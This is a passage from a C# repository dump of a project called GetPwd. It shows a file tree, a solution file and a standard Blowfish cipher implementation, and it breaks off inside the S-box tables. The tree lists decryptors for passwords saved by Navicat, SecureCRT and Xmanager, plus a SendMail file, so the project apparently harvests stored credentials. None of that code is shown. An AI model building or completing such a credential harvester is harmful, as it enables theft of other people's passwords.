├── .vs └── GetPwd │ ├── v15 │ ├── .suo │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ ├── storage.ide │ │ ├── storage.ide-shm │ │ └── storage.ide-wal │ └── v16 │ └── .suo ├── GetPwd.sln ├── GetPwd ├── App.config ├── BlowFishC.cs ├── Blowfish.cs ├── GetPwd.csproj ├── NavicatCrypto.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── SecureCRTCipher.cs ├── SendMail.cs ├── XmangagerCrypt.cs ├── bin │ └── Debug │ │ ├── GetPwd.exe.config │ │ └── GetPwd.pdb └── obj │ └── Debug │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── GetPwd.csproj.CoreCompileInputs.cache │ ├── GetPwd.csproj.FileListAbsolute.txt │ ├── GetPwd.csproj.ResolveComReference.cache │ ├── GetPwd.csprojAssemblyReference.cache │ ├── GetPwd.pdb │ ├── Interop.IWshRuntimeLibrary.dll │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs ├── LICENSE └── README.md /.vs/GetPwd/v15/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/.suo -------------------------------------------------------------------------------- /.vs/GetPwd/v15/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /.vs/GetPwd/v15/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /.vs/GetPwd/v15/Server/sqlite3/storage.ide-shm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/Server/sqlite3/storage.ide-shm -------------------------------------------------------------------------------- /.vs/GetPwd/v15/Server/sqlite3/storage.ide-wal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v15/Server/sqlite3/storage.ide-wal -------------------------------------------------------------------------------- /.vs/GetPwd/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/.vs/GetPwd/v16/.suo -------------------------------------------------------------------------------- /GetPwd.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.329 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GetPwd", "GetPwd\GetPwd.csproj", "{417384D0-9F47-4781-A318-DC657621B7D9}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {417384D0-9F47-4781-A318-DC657621B7D9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {417384D0-9F47-4781-A318-DC657621B7D9}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {417384D0-9F47-4781-A318-DC657621B7D9}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {417384D0-9F47-4781-A318-DC657621B7D9}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {F367EE98-A368-4AF5-9AC8-A97A2CC6AC88} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /GetPwd/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /GetPwd/BlowFishC.cs: -------------------------------------------------------------------------------- 1 | //Blowfish encryption (ECB, CBC and CTR mode) as defined by Bruce Schneier here: http://www.schneier.com/paper-blowfish-fse.html 2 | //Complies with test vectors found here: http://www.schneier.com/code/vectors.txt 3 | //non-standard mode provided to be usable with the javascript crypto library found here: http://etherhack.co.uk/symmetric/blowfish/blowfish.html 4 | //By Taylor Hornby, 1/7/1010, 5 | //Code is partly adopted from the javascript crypto library by Daniel Rench 6 | 7 | /*USAGE: 8 | 9 | Provide the key when creating the object. The key can be any size up to 448 bits. 10 | The key can be given as a hex string or an array of bytes. 11 | BlowFish b = new BlowFish("04B915BA43FEB5B6"); 12 | 13 | The plainText can be either a string or byte array. 14 | string plainText = "The quick brown fox jumped over the lazy dog."; 15 | 16 | Use the Encypt_* methods to encrypt the plaintext in the mode that you want. 17 | To Encrypt or decrypt a byte array using CBC or CTR mode, an array of bytes, you must provide an initialization vector. 18 | A random IV can be created by calling SetRandomIV, then accessed with the IV property as it will be required to decrypt the data. 19 | It is safe for the IV to be known by an attacker, as long as it is NEVER reused. IVs are handled automatically when encrypting and decrypting strings. 20 | string cipherText = b.Encrypt_CBC(plainText); 21 | MessageBox.Show(cipherText); 22 | 23 | Use the same mode of operation for decryption. 24 | plainText = b.Decrypt_CBC(cipherText); 25 | MessageBox.Show(plainText); 26 | */ 27 | 28 | /*Which mode should I use? 29 | *---ECB--- 30 | * ECB mode encrypts each block of data with the same key, so patterns in a large set of data will be visible. 31 | * Encrypting the same data with the same key will result in the same ciphertext. This mode should NOT be used unless neccessary. 32 | * 33 | *---CBC--- 34 | * CBC mode encrypts each block of data in succession so that any changes in the data will result in a completly different ciphertext. 35 | * Also, an IV is used so that encrypting the same data with the same key will result in a different ciphertext. 36 | * CBC mode is the most popular mode of operation. 37 | * 38 | *---CTR--- 39 | * CTR mode uses an IV and a counter to encrypt each block individually. 40 | * Like ECB mode, with the added protection of an IV to make sure the same plaintext encrypted with the same key yeilds a different result. 41 | * The counter ensures that no patterns will be visible. CTR mode is secure and can be optimized for multi-threaded applications. 42 | * 43 | * For more information on cipher modes of operation, see http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation 44 | */ 45 | 46 | /*Things to remember 47 | * -Always use unique initialization vectors when using CBC and CTR mode. SetRandomIV will do the job for you. 48 | * -Blowfish is only as secure as the key you provide. When derriving a key from a password, use a secure hash function such as SHA-256 to create the key. 49 | * -Read "Which mode should I use?" and choose the best mode for your application 50 | * -Use a MAC to ensure that the ciphertext and IV have not been modified. 51 | * -Do not use the compatibility mode unless neccessary. 52 | */ 53 | 54 | using System; 55 | using System.Text; 56 | using System.Security.Cryptography; 57 | 58 | namespace GetPwd 59 | { 60 | class BlowFishC 61 | { 62 | #region "Global variables and constants" 63 | 64 | const int ROUNDS = 16; //standard is 16, to increase the number of rounds, bf_P needs to be equal to the number of rouds. Use digits of PI. 65 | 66 | //Random number generator for creating IVs 67 | RNGCryptoServiceProvider randomSource; 68 | 69 | //SBLOCKS 70 | private uint[] bf_s0; 71 | private uint[] bf_s1; 72 | private uint[] bf_s2; 73 | private uint[] bf_s3; 74 | 75 | private uint[] bf_P; 76 | 77 | //KEY 78 | private byte[] key; 79 | 80 | //HALF-BLOCKS 81 | private uint xl_par; 82 | private uint xr_par; 83 | 84 | //Initialization Vector for CBC and CTR mode 85 | private byte[] InitVector; 86 | private bool IVSet; 87 | 88 | //For compatibility with the javascript crypto library: 89 | // http://etherhack.co.uk/symmetric/blowfish/blowfish.html 90 | private bool nonStandardMethod; 91 | 92 | #endregion 93 | 94 | #region "Constructors" 95 | 96 | /// 97 | /// Constructor for hex key 98 | /// 99 | /// Cipher key as a hex string 100 | public BlowFishC(string hexKey) 101 | { 102 | randomSource = new RNGCryptoServiceProvider(); 103 | SetupKey(HexToByte(hexKey)); 104 | } 105 | 106 | /// 107 | /// Constructor for byte key 108 | /// 109 | /// Cipher key as a byte array 110 | public BlowFishC(byte[] cipherKey) 111 | { 112 | randomSource = new RNGCryptoServiceProvider(); 113 | SetupKey(cipherKey); 114 | } 115 | 116 | #endregion 117 | 118 | #region "Public methods" 119 | 120 | /// 121 | /// Encrypts a string in CBC mode 122 | /// 123 | /// Plaintext data to encrypt 124 | /// Ciphertext with IV appended to front 125 | public string Encrypt_CBC(string pt) 126 | { 127 | if (!IVSet) 128 | SetRandomIV(); 129 | return ByteToHex(InitVector) + ByteToHex(Encrypt_CBC(Encoding.ASCII.GetBytes(pt))); 130 | } 131 | 132 | /// 133 | /// Decrypts a string in CBC mode 134 | /// 135 | /// Ciphertext with IV appended to front 136 | /// Plaintext 137 | public string Decrypt_CBC(string ct) 138 | { 139 | IV = HexToByte(ct.Substring(0, 16)); 140 | return Encoding.ASCII.GetString(Decrypt_CBC(HexToByte(ct.Substring(16)))).Replace("\0", ""); 141 | } 142 | 143 | /// 144 | /// Decrypts a byte array in CBC mode. 145 | /// IV must be created and saved manually. 146 | /// 147 | /// Ciphertext data to decrypt 148 | /// Plaintext 149 | public byte[] Decrypt_CBC(byte[] ct) 150 | { 151 | return Crypt_CBC(ct, true); 152 | } 153 | 154 | /// 155 | /// Encrypts a byte array in CBC mode. 156 | /// IV must be created and saved manually. 157 | /// 158 | /// Plaintext data to encrypt 159 | /// Ciphertext 160 | public byte[] Encrypt_CBC(byte[] pt) 161 | { 162 | return Crypt_CBC(pt, false); 163 | } 164 | 165 | /// 166 | /// Encrypt a string in ECB mode 167 | /// 168 | /// Plaintext to encrypt as ascii string 169 | /// hex value of encrypted data 170 | public string Encrypt_ECB(string pt) 171 | { 172 | return ByteToHex(Encrypt_ECB(Encoding.ASCII.GetBytes(pt))); 173 | } 174 | 175 | /// 176 | /// Decrypts a string (ECB) 177 | /// 178 | /// hHex string of the ciphertext 179 | /// Plaintext ascii string 180 | public string Decrypt_ECB(string ct) 181 | { 182 | return Encoding.ASCII.GetString(Decrypt_ECB(HexToByte(ct))).Replace("\0", ""); 183 | } 184 | 185 | /// 186 | /// Encrypts a byte array in ECB mode 187 | /// 188 | /// Plaintext data 189 | /// Ciphertext bytes 190 | public byte[] Encrypt_ECB(byte[] pt) 191 | { 192 | return Crypt_ECB(pt, false); 193 | } 194 | 195 | /// 196 | /// Decrypts a byte array (ECB) 197 | /// 198 | /// Ciphertext byte array 199 | /// Plaintext 200 | public byte[] Decrypt_ECB(byte[] ct) 201 | { 202 | return Crypt_ECB(ct, true); 203 | } 204 | 205 | /// 206 | /// Encrypts a string (CTR) 207 | /// 208 | /// The plaintext to encrypt 209 | /// The ciphertext 210 | public string Encrypt_CTR(string pt) 211 | { 212 | if (!IVSet) 213 | SetRandomIV(); 214 | return ByteToHex(InitVector) + ByteToHex(Crypt_CTR(Encoding.ASCII.GetBytes(pt), 2)); 215 | } 216 | 217 | /// 218 | /// Decrypt a string (CTR) 219 | /// 220 | /// The ciphertext to decrypt 221 | /// The plaintext 222 | public string Decrypt_CTR(string ct) 223 | { 224 | IV = HexToByte(ct.Substring(0, 16)); 225 | return Encoding.ASCII.GetString(Crypt_CTR(HexToByte(ct.Substring(16)), 2)).Replace("\0", ""); 226 | } 227 | 228 | /// 229 | /// Initialization vector for CBC mode. 230 | /// 231 | public byte[] IV 232 | { 233 | get { return InitVector; } 234 | set 235 | { 236 | if (value.Length == 8) 237 | { 238 | InitVector = value; 239 | IVSet = true; 240 | } 241 | else 242 | { 243 | throw new Exception("Invalid IV size."); 244 | } 245 | } 246 | } 247 | 248 | public bool NonStandard 249 | { 250 | get { return nonStandardMethod; } 251 | set { nonStandardMethod = value; } 252 | } 253 | 254 | /// 255 | /// Creates and sets a random initialization vector. 256 | /// 257 | /// The random IV 258 | public byte[] SetRandomIV() 259 | { 260 | InitVector = new byte[8]; 261 | randomSource.GetBytes(InitVector); 262 | IVSet = true; 263 | return InitVector; 264 | } 265 | 266 | #endregion 267 | 268 | #region Cryptography 269 | 270 | /// 271 | /// Sets up the S-blocks and the key 272 | /// 273 | /// Block cipher key (1-448 bits) 274 | private void SetupKey(byte[] cipherKey) 275 | { 276 | bf_P = SetupP(); 277 | //set up the S blocks 278 | bf_s0 = SetupS0(); 279 | bf_s1 = SetupS1(); 280 | bf_s2 = SetupS2(); 281 | bf_s3 = SetupS3(); 282 | 283 | key = new byte[cipherKey.Length]; // 448 bits 284 | if (cipherKey.Length > 56) 285 | { 286 | throw new Exception("Key too long. 56 bytes required."); 287 | } 288 | 289 | Buffer.BlockCopy(cipherKey, 0, key, 0, cipherKey.Length); 290 | int j = 0; 291 | for (int i = 0; i < 18; i++) 292 | { 293 | uint d = (uint)(((key[j % cipherKey.Length] * 256 + key[(j + 1) % cipherKey.Length]) * 256 + key[(j + 2) % cipherKey.Length]) * 256 + key[(j + 3) % cipherKey.Length]); 294 | bf_P[i] ^= d; 295 | j = (j + 4) % cipherKey.Length; 296 | } 297 | 298 | xl_par = 0; 299 | xr_par = 0; 300 | for (int i = 0; i < 18; i += 2) 301 | { 302 | encipher(); 303 | bf_P[i] = xl_par; 304 | bf_P[i + 1] = xr_par; 305 | } 306 | 307 | for (int i = 0; i < 256; i += 2) 308 | { 309 | encipher(); 310 | bf_s0[i] = xl_par; 311 | bf_s0[i + 1] = xr_par; 312 | } 313 | for (int i = 0; i < 256; i += 2) 314 | { 315 | encipher(); 316 | bf_s1[i] = xl_par; 317 | bf_s1[i + 1] = xr_par; 318 | } 319 | for (int i = 0; i < 256; i += 2) 320 | { 321 | encipher(); 322 | bf_s2[i] = xl_par; 323 | bf_s2[i + 1] = xr_par; 324 | } 325 | for (int i = 0; i < 256; i += 2) 326 | { 327 | encipher(); 328 | bf_s3[i] = xl_par; 329 | bf_s3[i + 1] = xr_par; 330 | } 331 | } 332 | 333 | /// 334 | /// Encrypts or decrypts data in ECB mode 335 | /// 336 | /// plain/ciphertext 337 | /// true to decrypt, false to encrypt 338 | /// (En/De)crypted data 339 | private byte[] Crypt_ECB(byte[] text, bool decrypt) 340 | { 341 | int paddedLen = (text.Length % 8 == 0 ? text.Length : text.Length + 8 - (text.Length % 8)); 342 | byte[] plainText = new byte[paddedLen]; 343 | Buffer.BlockCopy(text, 0, plainText, 0, text.Length); 344 | byte[] block = new byte[8]; 345 | for (int i = 0; i < plainText.Length; i += 8) 346 | { 347 | Buffer.BlockCopy(plainText, i, block, 0, 8); 348 | if (decrypt) 349 | { 350 | BlockDecrypt(ref block); 351 | } 352 | else 353 | { 354 | BlockEncrypt(ref block); 355 | } 356 | Buffer.BlockCopy(block, 0, plainText, i, 8); 357 | } 358 | return plainText; 359 | } 360 | 361 | public byte[] Crypt_CTR(byte[] text, int numThreads) 362 | { 363 | if (!IVSet) 364 | { 365 | throw new Exception("IV not set."); 366 | } 367 | byte[] input = new byte[8]; 368 | byte[] counter = new byte[8]; 369 | int paddedLen = (text.Length % 8 == 0 ? text.Length : text.Length + 8 - (text.Length % 8)); 370 | byte[] plainText = new byte[paddedLen]; 371 | Buffer.BlockCopy(text, 0, plainText, 0, text.Length); 372 | byte[] block = new byte[8]; 373 | for (int i = 0; i < plainText.Length; i += 8) 374 | { 375 | for (int x = 0; x < 8; x++) 376 | { 377 | input[x] = (byte)(counter[x] ^ InitVector[x]); 378 | } 379 | Buffer.BlockCopy(plainText, i, block, 0, 8); 380 | BlockEncrypt(ref input); 381 | XorBlock(ref block, input); 382 | Buffer.BlockCopy(block, 0, plainText, i, 8); 383 | } 384 | return plainText; 385 | } 386 | 387 | /// 388 | /// Encrypts or decrypts data in CBC mode 389 | /// 390 | /// plain/ciphertext 391 | /// true to decrypt, false to encrypt 392 | /// (En/De)crypted data 393 | private byte[] Crypt_CBC(byte[] text, bool decrypt) 394 | { 395 | if (!IVSet) 396 | { 397 | throw new Exception("IV not set."); 398 | } 399 | int paddedLen = (text.Length % 8 == 0 ? text.Length : text.Length + 8 - (text.Length % 8)); 400 | byte[] plainText = new byte[paddedLen]; 401 | Buffer.BlockCopy(text, 0, plainText, 0, text.Length); 402 | byte[] block = new byte[8]; 403 | byte[] preblock = new byte[8]; 404 | byte[] iv = new byte[8]; 405 | Buffer.BlockCopy(InitVector, 0, iv, 0, 8); 406 | if (!decrypt) 407 | { 408 | for (int i = 0; i < plainText.Length; i += 8) 409 | { 410 | Buffer.BlockCopy(plainText, i, block, 0, 8); 411 | XorBlock(ref block, iv); 412 | BlockEncrypt(ref block); 413 | Buffer.BlockCopy(block, 0, iv, 0, 8); 414 | Buffer.BlockCopy(block, 0, plainText, i, 8); 415 | } 416 | } 417 | else 418 | { 419 | for (int i = 0; i < plainText.Length; i += 8) 420 | { 421 | Buffer.BlockCopy(plainText, i, block, 0, 8); 422 | 423 | Buffer.BlockCopy(block, 0, preblock, 0, 8); 424 | BlockDecrypt(ref block); 425 | XorBlock(ref block, iv); 426 | Buffer.BlockCopy(preblock, 0, iv, 0, 8); 427 | 428 | Buffer.BlockCopy(block, 0, plainText, i, 8); 429 | } 430 | } 431 | return plainText; 432 | } 433 | 434 | /// 435 | /// XoR encrypts two 8 bit blocks 436 | /// 437 | /// 8 bit block 1 438 | /// 8 bit block 2 439 | private void XorBlock(ref byte[] block, byte[] iv) 440 | { 441 | for (int i = 0; i < block.Length; i++) 442 | { 443 | block[i] ^= iv[i]; 444 | } 445 | } 446 | 447 | /// 448 | /// Encrypts a 64 bit block 449 | /// 450 | /// The 64 bit block to encrypt 451 | private void BlockEncrypt(ref byte[] block) 452 | { 453 | SetBlock(block); 454 | encipher(); 455 | GetBlock(ref block); 456 | } 457 | 458 | /// 459 | /// Decrypts a 64 bit block 460 | /// 461 | /// The 64 bit block to decrypt 462 | private void BlockDecrypt(ref byte[] block) 463 | { 464 | SetBlock(block); 465 | decipher(); 466 | GetBlock(ref block); 467 | } 468 | 469 | /// 470 | /// Splits the block into the two uint values 471 | /// 472 | /// the 64 bit block to setup 473 | private void SetBlock(byte[] block) 474 | { 475 | byte[] block1 = new byte[4]; 476 | byte[] block2 = new byte[4]; 477 | Buffer.BlockCopy(block, 0, block1, 0, 4); 478 | Buffer.BlockCopy(block, 4, block2, 0, 4); 479 | //split the block 480 | if (nonStandardMethod) 481 | { 482 | xr_par = BitConverter.ToUInt32(block1, 0); 483 | xl_par = BitConverter.ToUInt32(block2, 0); 484 | } 485 | else 486 | { 487 | //ToUInt32 requires the bytes in reverse order 488 | Array.Reverse(block1); 489 | Array.Reverse(block2); 490 | xl_par = BitConverter.ToUInt32(block1, 0); 491 | xr_par = BitConverter.ToUInt32(block2, 0); 492 | } 493 | } 494 | 495 | /// 496 | /// Converts the two uint values into a 64 bit block 497 | /// 498 | /// 64 bit buffer to receive the block 499 | private void GetBlock(ref byte[] block) 500 | { 501 | byte[] block1 = new byte[4]; 502 | byte[] block2 = new byte[4]; 503 | if (nonStandardMethod) 504 | { 505 | block1 = BitConverter.GetBytes(xr_par); 506 | block2 = BitConverter.GetBytes(xl_par); 507 | } 508 | else 509 | { 510 | block1 = BitConverter.GetBytes(xl_par); 511 | block2 = BitConverter.GetBytes(xr_par); 512 | 513 | //GetBytes returns the bytes in reverse order 514 | Array.Reverse(block1); 515 | Array.Reverse(block2); 516 | } 517 | //join the block 518 | Buffer.BlockCopy(block1, 0, block, 0, 4); 519 | Buffer.BlockCopy(block2, 0, block, 4, 4); 520 | } 521 | 522 | /// 523 | /// Runs the blowfish algorithm (standard 16 rounds) 524 | /// 525 | private void encipher() 526 | { 527 | xl_par ^= bf_P[0]; 528 | for (uint i = 0; i < ROUNDS; i += 2) 529 | { 530 | xr_par = round(xr_par, xl_par, i + 1); 531 | xl_par = round(xl_par, xr_par, i + 2); 532 | } 533 | xr_par = xr_par ^ bf_P[17]; 534 | 535 | //swap the blocks 536 | uint swap = xl_par; 537 | xl_par = xr_par; 538 | xr_par = swap; 539 | } 540 | 541 | /// 542 | /// Runs the blowfish algorithm in reverse (standard 16 rounds) 543 | /// 544 | private void decipher() 545 | { 546 | xl_par ^= bf_P[17]; 547 | for (uint i = 16; i > 0; i -= 2) 548 | { 549 | xr_par = round(xr_par, xl_par, i); 550 | xl_par = round(xl_par, xr_par, i - 1); 551 | } 552 | xr_par = xr_par ^ bf_P[0]; 553 | 554 | //swap the blocks 555 | uint swap = xl_par; 556 | xl_par = xr_par; 557 | xr_par = swap; 558 | } 559 | 560 | /// 561 | /// one round of the blowfish algorithm 562 | /// 563 | /// See spec 564 | /// See spec 565 | /// See spec 566 | /// 567 | private uint round(uint a, uint b, uint n) 568 | { 569 | uint x1 = (bf_s0[wordByte0(b)] + bf_s1[wordByte1(b)]) ^ bf_s2[wordByte2(b)]; 570 | uint x2 = x1 + bf_s3[this.wordByte3(b)]; 571 | uint x3 = x2 ^ bf_P[n]; 572 | return x3 ^ a; 573 | } 574 | 575 | #endregion 576 | 577 | #region SBLOCKS 578 | //SBLOCKS ARE THE HEX DIGITS OF PI. 579 | //The amount of hex digits can be increased if you want to experiment with more rounds and longer key lengths 580 | 581 | //Increase the size of this array when increasing the number of rounds 582 | private uint[] SetupP() 583 | { 584 | return new uint[] { 585 | 0x243f6a88,0x85a308d3,0x13198a2e,0x03707344,0xa4093822,0x299f31d0, 586 | 0x082efa98,0xec4e6c89,0x452821e6,0x38d01377,0xbe5466cf,0x34e90c6c, 587 | 0xc0ac29b7,0xc97c50dd,0x3f84d5b5,0xb5470917,0x9216d5d9,0x8979fb1b 588 | }; 589 | } 590 | 591 | private uint[] SetupS0() 592 | { 593 | return new uint[] { 594 | 0xd1310ba6,0x98dfb5ac,0x2ffd72db,0xd01adfb7,0xb8e1afed,0x6a267e96, 595 | 0xba7c9045,0xf12c7f99,0x24a19947,0xb3916cf7,0x0801f2e2,0x858efc16, 596 | 0x636920d8,0x71574e69,0xa458fea3,0xf4933d7e,0x0d95748f,0x728eb658, 597 | 0x718bcd58,0x82154aee,0x7b54a41d,0xc25a59b5,0x9c30d539,0x2af26013, 598 | 0xc5d1b023,0x286085f0,0xca417918,0xb8db38ef,0x8e79dcb0,0x603a180e, 599 | 0x6c9e0e8b,0xb01e8a3e,0xd71577c1,0xbd314b27,0x78af2fda,0x55605c60, 600 | 0xe65525f3,0xaa55ab94,0x57489862,0x63e81440,0x55ca396a,0x2aab10b6, 601 | 0xb4cc5c34,0x1141e8ce,0xa15486af,0x7c72e993,0xb3ee1411,0x636fbc2a, 602 | 0x2ba9c55d,0x741831f6,0xce5c3e16,0x9b87931e,0xafd6ba33,0x6c24cf5c, 603 | 0x7a325381,0x28958677,0x3b8f4898,0x6b4bb9af,0xc4bfe81b,0x66282193, 604 | 0x61d809cc,0xfb21a991,0x487cac60,0x5dec8032,0xef845d5d,0xe98575b1, 605 | 0xdc262302,0xeb651b88,0x23893e81,0xd396acc5,0x0f6d6ff3,0x83f44239, 606 | 0x2e0b4482,0xa4842004,0x69c8f04a,0x9e1f9b5e,0x21c66842,0xf6e96c9a, 607 | 0x670c9c61,0xabd388f0,0x6a51a0d2,0xd8542f68,0x960fa728,0xab5133a3, 608 | 0x6eef0b6c,0x137a3be4,0xba3bf050,0x7efb2a98,0xa1f1651d,0x39af0176, 609 | 0x66ca593e,0x82430e88,0x8cee8619,0x456f9fb4,0x7d84a5c3,0x3b8b5ebe, 610 | 0xe06f75d8,0x85c12073,0x401a449f,0x56c16aa6,0x4ed3aa62,0x363f7706, 611 | 0x1bfedf72,0x429b023d,0x37d0d724,0xd00a1248,0xdb0fead3,0x49f1c09b, 612 | 0x075372c9,0x80991b7b,0x25d479d8,0xf6e8def7,0xe3fe501a,0xb6794c3b, 613 | 0x976ce0bd,0x04c006ba,0xc1a94fb6,0x409f60c4,0x5e5c9ec2,0x196a2463, 614 | 0x68fb6faf,0x3e6c53b5,0x1339b2eb,0x3b52ec6f,0x6dfc511f,0x9b30952c, 615 | 0xcc814544,0xaf5ebd09,0xbee3d004,0xde334afd,0x660f2807,0x192e4bb3, 616 | 0xc0cba857,0x45c8740f,0xd20b5f39,0xb9d3fbdb,0x5579c0bd,0x1a60320a, 617 | 0xd6a100c6,0x402c7279,0x679f25fe,0xfb1fa3cc,0x8ea5e9f8,0xdb3222f8, 618 | 0x3c7516df,0xfd616b15,0x2f501ec8,0xad0552ab,0x323db5fa,0xfd238760, 619 | 0x53317b48,0x3e00df82,0x9e5c57bb,0xca6f8ca0,0x1a87562e,0xdf1769db, 620 | 0xd542a8f6,0x287effc3,0xac6732c6,0x8c4f5573,0x695b27b0,0xbbca58c8, 621 | 0xe1ffa35d,0xb8f011a0,0x10fa3d98,0xfd2183b8,0x4afcb56c,0x2dd1d35b, 622 | 0x9a53e479,0xb6f84565,0xd28e49bc,0x4bfb9790,0xe1ddf2da,0xa4cb7e33, 623 | 0x62fb1341,0xcee4c6e8,0xef20cada,0x36774c01,0xd07e9efe,0x2bf11fb4, 624 | 0x95dbda4d,0xae909198,0xeaad8e71,0x6b93d5a0,0xd08ed1d0,0xafc725e0, 625 | 0x8e3c5b2f,0x8e7594b7,0x8ff6e2fb,0xf2122b64,0x8888b812,0x900df01c, 626 | 0x4fad5ea0,0x688fc31c,0xd1cff191,0xb3a8c1ad,0x2f2f2218,0xbe0e1777, 627 | 0xea752dfe,0x8b021fa1,0xe5a0cc0f,0xb56f74e8,0x18acf3d6,0xce89e299, 628 | 0xb4a84fe0,0xfd13e0b7,0x7cc43b81,0xd2ada8d9,0x165fa266,0x80957705, 629 | 0x93cc7314,0x211a1477,0xe6ad2065,0x77b5fa86,0xc75442f5,0xfb9d35cf, 630 | 0xebcdaf0c,0x7b3e89a0,0xd6411bd3,0xae1e7e49,0x00250e2d,0x2071b35e, 631 | 0x226800bb,0x57b8e0af,0x2464369b,0xf009b91e,0x5563911d,0x59dfa6aa, 632 | 0x78c14389,0xd95a537f,0x207d5ba2,0x02e5b9c5,0x83260376,0x6295cfa9, 633 | 0x11c81968,0x4e734a41,0xb3472dca,0x7b14a94a,0x1b510052,0x9a532915, 634 | 0xd60f573f,0xbc9bc6e4,0x2b60a476,0x81e67400,0x08ba6fb5,0x571be91f, 635 | 0xf296ec6b,0x2a0dd915,0xb6636521,0xe7b9f9b6,0xff34052e,0xc5855664, 636 | 0x53b02d5d,0xa99f8fa1,0x08ba4799,0x6e85076a 637 | }; 638 | } 639 | 640 | private uint[] SetupS1() 641 | { 642 | return new uint[] { 643 | 0x4b7a70e9,0xb5b32944,0xdb75092e,0xc4192623,0xad6ea6b0,0x49a7df7d, 644 | 0x9cee60b8,0x8fedb266,0xecaa8c71,0x699a17ff,0x5664526c,0xc2b19ee1, 645 | 0x193602a5,0x75094c29,0xa0591340,0xe4183a3e,0x3f54989a,0x5b429d65, 646 | 0x6b8fe4d6,0x99f73fd6,0xa1d29c07,0xefe830f5,0x4d2d38e6,0xf0255dc1, 647 | 0x4cdd2086,0x8470eb26,0x6382e9c6,0x021ecc5e,0x09686b3f,0x3ebaefc9, 648 | 0x3c971814,0x6b6a70a1,0x687f3584,0x52a0e286,0xb79c5305,0xaa500737, 649 | 0x3e07841c,0x7fdeae5c,0x8e7d44ec,0x5716f2b8,0xb03ada37,0xf0500c0d, 650 | 0xf01c1f04,0x0200b3ff,0xae0cf51a,0x3cb574b2,0x25837a58,0xdc0921bd, 651 | 0xd19113f9,0x7ca92ff6,0x94324773,0x22f54701,0x3ae5e581,0x37c2dadc, 652 | 0xc8b57634,0x9af3dda7,0xa9446146,0x0fd0030e,0xecc8c73e,0xa4751e41, 653 | 0xe238cd99,0x3bea0e2f,0x3280bba1,0x183eb331,0x4e548b38,0x4f6db908, 654 | 0x6f420d03,0xf60a04bf,0x2cb81290,0x24977c79,0x5679b072,0xbcaf89af, 655 | 0xde9a771f,0xd9930810,0xb38bae12,0xdccf3f2e,0x5512721f,0x2e6b7124, 656 | 0x501adde6,0x9f84cd87,0x7a584718,0x7408da17,0xbc9f9abc,0xe94b7d8c, 657 | 0xec7aec3a,0xdb851dfa,0x63094366,0xc464c3d2,0xef1c1847,0x3215d908, 658 | 0xdd433b37,0x24c2ba16,0x12a14d43,0x2a65c451,0x50940002,0x133ae4dd, 659 | 0x71dff89e,0x10314e55,0x81ac77d6,0x5f11199b,0x043556f1,0xd7a3c76b, 660 | 0x3c11183b,0x5924a509,0xf28fe6ed,0x97f1fbfa,0x9ebabf2c,0x1e153c6e, 661 | 0x86e34570,0xeae96fb1,0x860e5e0a,0x5a3e2ab3,0x771fe71c,0x4e3d06fa, 662 | 0x2965dcb9,0x99e71d0f,0x803e89d6,0x5266c825,0x2e4cc978,0x9c10b36a, 663 | 0xc6150eba,0x94e2ea78,0xa5fc3c53,0x1e0a2df4,0xf2f74ea7,0x361d2b3d, 664 | 0x1939260f,0x19c27960,0x5223a708,0xf71312b6,0xebadfe6e,0xeac31f66, 665 | 0xe3bc4595,0xa67bc883,0xb17f37d1,0x018cff28,0xc332ddef,0xbe6c5aa5, 666 | 0x65582185,0x68ab9802,0xeecea50f,0xdb2f953b,0x2aef7dad,0x5b6e2f84, 667 | 0x1521b628,0x29076170,0xecdd4775,0x619f1510,0x13cca830,0xeb61bd96, 668 | 0x0334fe1e,0xaa0363cf,0xb5735c90,0x4c70a239,0xd59e9e0b,0xcbaade14, 669 | 0xeecc86bc,0x60622ca7,0x9cab5cab,0xb2f3846e,0x648b1eaf,0x19bdf0ca, 670 | 